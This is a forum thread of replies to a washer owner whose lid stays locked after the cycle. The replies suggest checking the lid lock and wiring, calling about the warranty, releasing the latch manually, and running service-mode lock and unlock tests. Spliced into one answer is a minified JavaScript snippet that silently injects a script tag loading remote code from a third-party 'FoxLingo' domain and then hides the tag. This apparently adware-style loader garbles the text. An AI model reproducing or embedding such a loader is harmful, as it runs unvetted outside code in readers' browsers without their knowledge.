Washer is empty but my lid lock light is still on and I can't open the lid

go to repairclinic.com to find the part. Have the make and model ready, and you have a good chance of finding the part there.

What is the model number of the unit?

This sounds like the lid lock is defective or the connections to it or the wiring is defective. With the power cord removed from the power source check to see oft he lock has become loose and if so screw it back in. then check the wiring and connectors for any damage. If this all looks OK and the problem persists then you will most likely have to replace the lid lock or the main conroller board whch is a lot more expensive.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

it most likely under warranty call the place where u bought it and have them to replace it or send a repairman to have it fixed

You can takeoff the top cover off by taking off two screws
from the back. Then unlock the door manual by pulling the Lid locked lever locted on the right side off the washer.
hope it will help.

I will give you a few things to try that are non technical and let’s see if the Control Board will let you in Service Mode. If so we will try lock and unlock the washer in Service Mode.
The Service Manual for reference. Sears Parts Direct for reference.
Let enter Service Mode;
Enter the Service Mode by pressing and holding the Enviro Plus and Spin Only keys for three seconds or the display reads “00”

Board Output Test
While in Service Mode, pressing the Delicates key will begin the Board Output Test. This test turns on a
specified output after a key press. (Pressing the Delicates key again cancels the test.) All outputs
will be turned off after five (5) minutes.

Now Press the Colors / Jeans key this should lock the Left and Right Lid Locks….. did it?

If the lid locked now press the Extra Rinse Key and this should Unlock the Left and Right Lid Locks….. did it?

Let me know and we will go from there. I’m trying to get a feel for what Control Board functionality you have……Rich